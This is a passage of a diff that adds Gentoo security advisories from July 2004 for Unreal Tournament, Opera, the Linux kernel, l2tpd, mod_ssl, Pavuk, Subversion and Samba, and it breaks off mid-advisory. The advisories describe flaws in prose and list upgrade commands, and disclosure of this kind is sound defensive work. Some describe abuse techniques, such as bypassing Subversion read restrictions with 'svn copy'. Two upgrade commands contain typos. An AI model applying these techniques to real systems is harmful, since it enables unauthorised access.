new file mode 100644
index 00000000..b5ee6e93
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-14.xml
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-14">
+  <title>Unreal Tournament 2003/2004: Buffer overflow in 'secure' queries</title>
+  <synopsis>
+    Game servers based on the Unreal engine are vulnerable to remote code
+    execution through malformed 'secure' queries.
+  </synopsis>
+  <product type="ebuild">Unreal Tournament</product>
+  <announced>July 19, 2004</announced>
+  <revised>July 19, 2004: 01</revised>
+  <bug>54726</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-fps/ut2003" auto="yes" arch="*">
+      <unaffected range="ge">2225-r3</unaffected>
+      <vulnerable range="le">2225-r2</vulnerable>
+    </package>
+    <package name="games-server/ut2003-ded" auto="yes" arch="*">
+      <unaffected range="ge">2225-r2</unaffected>
+      <vulnerable range="le">2225-r1</vulnerable>
+    </package>
+    <package name="games-fps/ut2004" auto="yes" arch="*">
+      <unaffected range="ge">3236</unaffected>
+      <vulnerable range="lt">3236</vulnerable>
+    </package>
+    <package name="games-fps/ut2004-demo" auto="yes" arch="*">
+      <unaffected range="ge">3120-r4</unaffected>
+      <vulnerable range="le">3120-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Unreal Tournament 2003 and 2004 are popular first-person-shooter games.
+    They are both based on the Unreal engine, and can be used in a game server
+    / client setup.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Unreal-based game servers support a specific type of query called
+    'secure'. Part of the Gamespy protocol, this query is used to ask if the
+    game server is able to calculate an exact response using a provided string.
+    Luigi Auriemma found that sending a long 'secure' query triggers a buffer
+    overflow in the game server.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a malicious UDP-based 'secure' query, an attacker could execute
+    arbitrary code on the game server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Users can avoid this vulnerability by not using Unreal Tournament to host
+    games as a server. All users running a server should upgrade to the latest
+    versions.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Unreal Tournament users should upgrade to the latest available
+    versions:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=games-fps/ut2003-2225-r3"
+    # emerge ">=games-fps/ut2003-2225-r3"
+
+    # emerge -pv ">=games-server/ut2003-ded-2225-r2"
+    # emerge ">=games-server/ut2003-ded-2225-r2"
+
+    # emerge -pv ">=games-fps/ut2004-3236"
+    # emerge ">=games-fps/ut2004-3236"
+
+    # emerge -pv ">=games-fps/ut2004-demo-3120-r4"
+    # emerge ">=games-fps/ut2004-demo-3120-r4"</code>
+  </resolution>
+  <references>
+    <uri link="http://aluigi.altervista.org/adv/unsecure-adv.txt">Luigi Auriemma advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0608">CAN-2004-0608</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-15.xml b/xml/htdocs/security/en/glsa/glsa-200407-15.xml
new file mode 100644
index 00000000..93dbc7b2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-15.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-15">
+  <title>Opera: Multiple spoofing vulnerabilities</title>
+  <synopsis>
+    Opera contains three vulnerabilities, allowing an attacker to impersonate
+    legitimate websites with URI obfuscation or to spoof websites with frame
+    injection.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>July 20, 2004</announced>
+  <revised>July 20, 2004: 01</revised>
+  <bug>56311</bug>
+  <bug>56109</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">7.53</unaffected>
+      <vulnerable range="le">7.52</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Opera fails to remove illegal characters from an URI of a link and to check
+    that the target frame of a link belongs to the same website as the link.
+    Opera also updates the address bar before loading a page. Additionally,
+    Opera contains a certificate verification problem.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities could allow an attacker to impersonate legitimate
+    websites to steal sensitive information from users. This could be done by
+    obfuscating the real URI of a link or by injecting a malicious frame into
+    an arbitrary frame of another browser window.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-client/opera-7.53"
+    # emerge ">=www-client/opera-7.53"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/10517">Bugtraq Announcement</uri>
+    <uri link="http://secunia.com/advisories/11978/">Secunia Advisory SA11978</uri>
+    <uri link="http://secunia.com/advisories/12028/">Secunia Advisory SA12028</uri>
+    <uri link="http://www.opera.com/linux/changelogs/753/">Opera Changelog</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-16.xml b/xml/htdocs/security/en/glsa/glsa-200407-16.xml
new file mode 100644
index 00000000..33a29bcd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-16.xml
@@ -0,0 +1,299 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-16">
+  <title>Linux Kernel: Multiple DoS and permission vulnerabilities</title>
+  <synopsis>
+    Multiple permission vulnerabilities have been found in the Linux kernel,
+    allowing an attacker to change the group IDs of files mounted on a remote
+    filesystem (CAN-2004-0497), as well as an issue in 2.6 series kernels which
+    allows /proc permissions to be bypassed. A context sharing vulnerability in
+    vserver-sources is also handled by this advisory as well as CAN-2004-0447,
+    CAN-2004-0496 and CAN-2004-0565. Patched, or updated versions of these
+    kernels have been released and details are included along with this
+    advisory.
+  </synopsis>
+  <product type="ebuild">Kernel</product>
+  <announced>July 22, 2004</announced>
+  <revised>October 29, 2004: 02</revised>
+  <bug>56171</bug>
+  <bug>56479</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-kernel/aa-sources" auto="no" arch="*">
+      <unaffected range="rge">2.4.23-r2</unaffected>
+      <unaffected range="ge">2.6.5-r5</unaffected>
+      <vulnerable range="lt">2.6.5-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/alpha-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21-r9</unaffected>
+      <vulnerable range="lt">2.4.21-r9</vulnerable>
+    </package>
+    <package name="sys-kernel/ck-sources" auto="no" arch="*">
+      <unaffected range="rge">2.4.26-r1</unaffected>
+      <unaffected range="ge">2.6.7-r5</unaffected>
+      <vulnerable range="lt">2.6.7-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/compaq-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.9.32.7-r8</unaffected>
+      <vulnerable range="lt">2.4.9.32.7-r8</vulnerable>
+    </package>
+    <package name="sys-kernel/development-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.8_rc1</unaffected>
+      <vulnerable range="lt">2.6.8_rc1</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r8</unaffected>
+      <vulnerable range="lt">2.6.7-r8</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.19-r18</unaffected>
+      <unaffected range="rge">2.4.20-r21</unaffected>
+      <unaffected range="rge">2.4.22-r13</unaffected>
+      <unaffected range="rge">2.4.25-r6</unaffected>
+      <unaffected range="ge">2.4.26-r5</unaffected>
+      <vulnerable range="lt">2.4.26-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/grsec-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26.2.0-r6</unaffected>
+      <vulnerable range="lt">2.4.26.2.0-r6</vulnerable>
+    </package>
+    <package name="sys-kernel/gs-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25_pre7-r8</unaffected>
+      <vulnerable range="lt">2.4.25_pre7-r8</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r2</unaffected>
+      <vulnerable range="lt">2.6.7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r3</unaffected>
+      <vulnerable range="lt">2.4.26-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7_p1-r2</unaffected>
+      <vulnerable range="lt">2.6.7_p1-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26_p6-r1</unaffected>
+      <vulnerable range="lt">2.4.26_p6-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/ia64-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r7</unaffected>
+      <vulnerable range="lt">2.4.24-r7</vulnerable>
+    </package>
+    <package name="sys-kernel/mm-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r6</unaffected>
+      <vulnerable range="lt">2.6.7-r6</vulnerable>
+    </package>
+    <package name="sys-kernel/openmosix-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.22-r11</unaffected>
+      <vulnerable range="lt">2.4.22-r11</vulnerable>
+    </package>
+    <package name="sys-kernel/pac-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r9</unaffected>
+      <vulnerable range="lt">2.4.23-r9</vulnerable>
+    </package>
+    <package name="sys-kernel/planet-ccrma-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21-r11</unaffected>
+      <vulnerable range="lt">2.4.21-r11</vulnerable>
+    </package>
+    <package name="sys-kernel/pegasos-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r2</unaffected>
+      <vulnerable range="lt">2.6.7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/pegasos-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r3</unaffected>
+      <vulnerable range="lt">2.4.26-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r3</unaffected>
+      <vulnerable range="lt">2.4.26-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/rsbac-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r3</unaffected>
+      <vulnerable range="lt">2.4.26-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/rsbac-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r2</unaffected>
+      <vulnerable range="lt">2.6.7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/selinux-sources" auto="no" arch="*">
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/sparc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r3</unaffected>
+      <vulnerable range="lt">2.4.26-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/uclinux-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.26_p0-r3</unaffected>
+      <unaffected range="ge">2.6.7_p0-r2</unaffected>
+      <vulnerable range="lt">2.6.7_p0-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/usermode-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.24-r6</unaffected>
+      <unaffected range="rge">2.4.26-r3</unaffected>
+      <unaffected range="ge">2.6.6-r4</unaffected>
+      <vulnerable range="lt">2.6.6-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/vserver-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26.1.28-r1</unaffected>
+      <vulnerable range="lt">2.4.26.1.28-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/win4lin-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.26-r3</unaffected>
+      <unaffected range="ge">2.6.7-r2</unaffected>
+      <vulnerable range="lt">2.6.7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/wolk-sources" auto="yes" arch="*">
+      <unaffected range="rge">4.9-r10</unaffected>
+      <unaffected range="rge">4.11-r7</unaffected>
+      <unaffected range="ge">4.14-r4</unaffected>
+      <vulnerable range="lt">4.14-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/xbox-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.26-r3</unaffected>
+      <unaffected range="ge">2.6.7-r2</unaffected>
+      <vulnerable range="lt">2.6.7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/mips-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.27</unaffected>
+      <vulnerable range="lt">2.4.27</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.27</unaffected>
+      <vulnerable range="le">2.4.26</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux kernel is responsible for managing the core aspects of a
+    GNU/Linux system, providing an interface for core system applications as
+    well as providing the essential structure and capability to access hardware
+    that is needed for a running system.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Linux kernel allows a local attacker to mount a remote file system on a
+    vulnerable Linux host and modify files' group IDs. On 2.4 series kernels
+    this vulnerability only affects shared NFS file systems. This vulnerability
+    has been assigned CAN-2004-0497 by the Common Vulnerabilities and Exposures
+    project.
+    </p>
+    <p>
+    Also, a flaw in the handling of /proc attributes has been found in 2.6
+    series kernels; allowing the unauthorized modification of /proc entries,
+    especially those which rely solely on file permissions for security to
+    vital kernel parameters.
+    </p>
+    <p>
+    An issue specific to the VServer Linux sources has been found, by which
+    /proc related changes in one virtual context are applied to other contexts
+    as well, including the host system.
+    </p>
+    <p>
+    CAN-2004-0447 resolves a local DoS vulnerability on IA64 platforms which
+    can cause unknown behaviour and CAN-2004-0565 resolves a floating point
+    information leak on IA64 platforms by which registers of other processes
+    can be read by a local user.
+    </p>
+    <p>
+    Finally, CAN-2004-0496 addresses some more unknown vulnerabilities in 2.6
+    series Linux kernels older than 2.6.7 which were found by the Sparse source
+    code checking tool.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Bad Group IDs can possibly cause a Denial of Service on parts of a host if
+    the changed files normally require a special GID to properly operate. By
+    exploiting this vulnerability, users in the original file group would also
+    be blocked from accessing the changed files.
+    </p>
+    <p>
+    The /proc attribute vulnerability allows local users with previously no
+    permissions to certain /proc entries to exploit the vulnerability and then
+    gain read, write and execute access to entries.
+    </p>
+    <p>
+    These new privileges can be used to cause unknown behaviour ranging from
+    reduced system performance to a Denial of Service by manipulating various
+    kernel options which are usually reserved for the superuser. This flaw
+    might also be used for opening restrictions set through /proc entries,
+    allowing further attacks to take place through another possibly unexpected
+    attack vector.
+    </p>
+    <p>
+    The VServer issue can also be used to induce similar unexpected behaviour
+    to other VServer contexts, including the host. By successful exploitation,
+    a Denial of Service for other contexts can be caused allowing only root to
+    read certain /proc entries. Such a change would also be replicated to other
+    contexts, forbidding normal users on those contexts to read /proc entries
+    which could contain details needed by daemons running as a non-root user,
+    for example.
+    </p>
+    <p>
+    Additionally, this vulnerability allows an attacker to read information
+    from another context, possibly hosting a different server, gaining critical
+    information such as what processes are running. This may be used for
+    furthering the exploitation of either context.
+    </p>
+    <p>
+    CAN-2004-0447 and CAN-2004-0496 permit various local unknown Denial of
+    Service vulnerabilities with unknown impacts - these vulnerabilities can be
+    used to possibly elevate privileges or access reserved kernel memory which
+    can be used for further exploitation of the system.
+    </p>
+    <p>
+    CAN-2004-0565 allows FPU register values of other processes to be read by a
+    local user setting the MFH bit during a floating point operation - since no
+    check was in place to ensure that the FPH bit was owned by the requesting
+    process, but only an MFH bit check, an attacker can simply set the MFH bit
+    and access FPU registers of processes running as other users, possibly
+    those running as root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    2.4 users may not be affected by CAN-2004-0497 if they do not use remote
+    network filesystems and do not have support for any such filesystems in
+    their kernel configuration. All 2.6 users are affected by the /proc
+    attribute issue and the only known workaround is to disable /proc support.
+    The VServer flaw applies only to vserver-sources, and no workaround is
+    currently known for the issue. There is no known fix to CAN-2004-0447,
+    CAN-2004-0496 or CAN-2004-0565 other than to upgrade the kernel to a
+    patched version.
+    </p>
+    <p>
+    As a result, all users affected by any of these vulnerabilities should
+    upgrade their kernels to ensure the integrity of their systems.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to upgrade to the latest available sources for their
+    system:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv your-favorite-sources
+    # emerge your-favorite-sources
+
+    # # Follow usual procedure for compiling and installing a kernel.
+    # # If you use genkernel, run genkernel as you would do normally.</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0447">CAN-2004-0447</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0496">CAN-2004-0496</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0497">CAN-2004-0497</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0565">CAN-2004-0565</uri>
+    <uri link="http://www.securityfocus.com/archive/1/367977">VServer /proc Context Vulnerability</uri>
+  </references>
+  <metadata tag="submitter">
+    plasmaroo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-17.xml b/xml/htdocs/security/en/glsa/glsa-200407-17.xml
new file mode 100644
index 00000000..3c1211b5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-17.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-17">
+  <title>l2tpd: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow in l2tpd could lead to remote code execution. It is not
+    known whether this bug is exploitable.
+  </synopsis>
+  <product type="ebuild">net-dialup/l2tpd</product>
+  <announced>July 22, 2004</announced>
+  <revised>July 22, 2004: 01</revised>
+  <bug>53009</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dialup/l2tpd" auto="yes" arch="*">
+      <unaffected range="ge">0.69-r2</unaffected>
+      <vulnerable range="lt">0.69-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    l2tpd is a GPL implentation of the Layer 2 Tunneling Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Thomas Walpuski discovered a buffer overflow that may be exploitable by
+    sending a specially crafted packet. In order to exploit the vulnerable
+    code, an attacker would need to fake the establishment of an L2TP tunnel.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker may be able to execute arbitrary code with the privileges
+    of the user running l2tpd.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround for this vulnerability.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are recommended to upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-l2tpd-0.69-r2"
+    # emerge ">=net-l2tpd-0.69-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0649">CAN-2004-0649</uri>
+    <uri link="http://seclists.org/lists/fulldisclosure/2004/Jun/0094.html">Full Disclosure Report</uri>
+  </references>
+  <metadata tag="requester">
+    koon
+  </metadata>
+  <metadata tag="submitter">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-18.xml b/xml/htdocs/security/en/glsa/glsa-200407-18.xml
new file mode 100644
index 00000000..ea0429bd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-18.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-18">
+  <title>mod_ssl: Format string vulnerability</title>
+  <synopsis>
+    A bug in mod_ssl may allow a remote attacker to execute arbitrary code when
+    Apache is configured to use mod_ssl and mod_proxy.
+  </synopsis>
+  <product type="ebuild">mod_ssl</product>
+  <announced>July 22, 2004</announced>
+  <revised>July 22, 2004: 01</revised>
+  <bug>57379</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-www/mod_ssl" auto="yes" arch="*">
+      <unaffected range="ge">2.8.19</unaffected>
+      <vulnerable range="le">2.8.18</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mod_ssl provides Secure Sockets Layer encryption and authentication to
+    Apache 1.3.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in ssl_engine_ext.c makes mod_ssl vulnerable to a ssl_log() related
+    format string vulnerability in the mod_proxy hook functions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Given the right server configuration, an attacker could execute code as the
+    user running Apache, usually &quot;apache&quot;.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A server should not be vulnerable if it is not using both mod_ssl and
+    mod_proxy. Otherwise there is no workaround other than to disable mod_ssl.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mod_ssl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-www/mod_ssl-2.8.19"
+    # emerge ">=net-www/mod_ssl-2.8.19"</code>
+  </resolution>
+  <references>
+    <uri link="http://marc.theaimsgroup.com/?l=apache-modssl&amp;m=109001100906749&amp;w=2">mod_ssl Announcement</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-19.xml b/xml/htdocs/security/en/glsa/glsa-200407-19.xml
new file mode 100644
index 00000000..313f65d4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-19.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-19">
+  <title>Pavuk: Digest authentication helper buffer overflow</title>
+  <synopsis>
+    Pavuk contains a bug that can allow an attacker to run arbitrary code.
+  </synopsis>
+  <product type="ebuild">Pavuk</product>
+  <announced>July 26, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/pavuk" auto="yes" arch="*">
+      <unaffected range="ge">0.9.28-r3</unaffected>
+      <vulnerable range="le">0.9.28-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pavuk is web spider and website mirroring tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Pavuk contains several buffer overflow vulnerabilities in the code
+    handling digest authentication.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could cause a buffer overflow, leading to arbitrary code
+    execution with the rights of the user running Pavuk.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Pavuk.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pavuk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/pavuk-0.9.28-r3&quot;
+    # emerge &quot;&gt;=net-misc/pavuk-0.9.28-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1437">CVE-2004-1437</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-20.xml b/xml/htdocs/security/en/glsa/glsa-200407-20.xml
new file mode 100644
index 00000000..b962a02d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-20.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-20">
+  <title>Subversion: Vulnerability in mod_authz_svn</title>
+  <synopsis>
+    Users with write access to parts of a Subversion repository may bypass read
+    restrictions in mod_authz_svn and read any part of the repository they
+    wish.
+  </synopsis>
+  <product type="ebuild">subversion</product>
+  <announced>July 26, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>57747</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/subversion" auto="yes" arch="*">
+      <unaffected range="ge">1.0.6</unaffected>
+      <vulnerable range="le">1.0.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Subversion is an advanced version control system, similar to CVS, which
+    supports additional functionality such as the ability to move, copy and
+    delete files and directories. A Subversion server may be run as an
+    Apache module, a standalone server (svnserve), or on-demand over ssh (a
+    la CVS' ":ext:" protocol). The mod_authz_svn Apache module works with
+    Subversion in Apache to limit access to parts of Subversion
+    repositories based on policy set by the administrator.
+    </p>
+  </background>
+  <description>
+    <p>
+    Users with write access to part of a Subversion repository may bypass
+    read restrictions on any part of that repository. This can be done
+    using an "svn copy" command to copy the portion of a repository the
+    user wishes to read into an area where they have write access.
+    </p>
+    <p>
+    Since copies are versioned, any such copy attempts will be readily
+    apparent.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    This is a low-risk vulnerability. It affects only users of Subversion
+    who are running servers inside Apache and using mod_authz_svn.
+    Additionally, this vulnerability may be exploited only by users with
+    write access to some portion of a repository.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Keep sensitive content separated into different Subversion
+    repositories, or disable the Apache Subversion server and use svnserve
+    instead.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Subversion users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-util/subversion-1.0.6&quot;
+    # emerve &quot;&gt;=dev-util/subversion-1.0.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://svn.collab.net/repos/svn/tags/1.0.6/CHANGES">ChangeLog for Subversion 1.0.6</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1438">CVE-2004-1438</uri>
+  </references>
+  <metadata tag="requester">
+    koon
+  </metadata>
+  <metadata tag="submitter">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-21.xml b/xml/htdocs/security/en/glsa/glsa-200407-21.xml
new file mode 100644
index 00000000..65e1a7db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-21.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-21">
+  <title>Samba: Multiple buffer overflows</title>
+  <synopsis>
+    Two buffer overflows vulnerabilities were found in Samba, potentially
+    allowing the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Samba</product>
+  <announced>July 29, 2004</announced>
+  <revised>July 29, 2004: 02</revised>
+  <bug>57962</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.5</unaffected>
+      <vulnerable range="le">3.0.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a package which allows *nix systems to act as file servers for
+    Windows computers. It also allows *nix systems to mount shares exported by
+    a Samba/CIFS/Windows server. The Samba Web Administration Tool (SWAT) is a
+    web-based configuration tool part of the Samba package.
+    </p>
+  </background>
+  <description>
+    <p>
+    Evgeny Demidov found a buffer overflow in SWAT, located in the base64 data
+    decoder used to handle HTTP basic authentication (CAN-2004-0600). The same
+    flaw is present in the code used to handle the sambaMungedDial attribute
+    value, when using the ldapsam passdb backend. Another buffer overflow was
+    found in the code used to support the 'mangling method = hash' smb.conf
+    option (CAN-2004-0686). Note that the default Samba value for this option
+    is 'mangling method = hash2' which is not vulnerable.
+    </p>
+  </description>
+  <impact type="high">
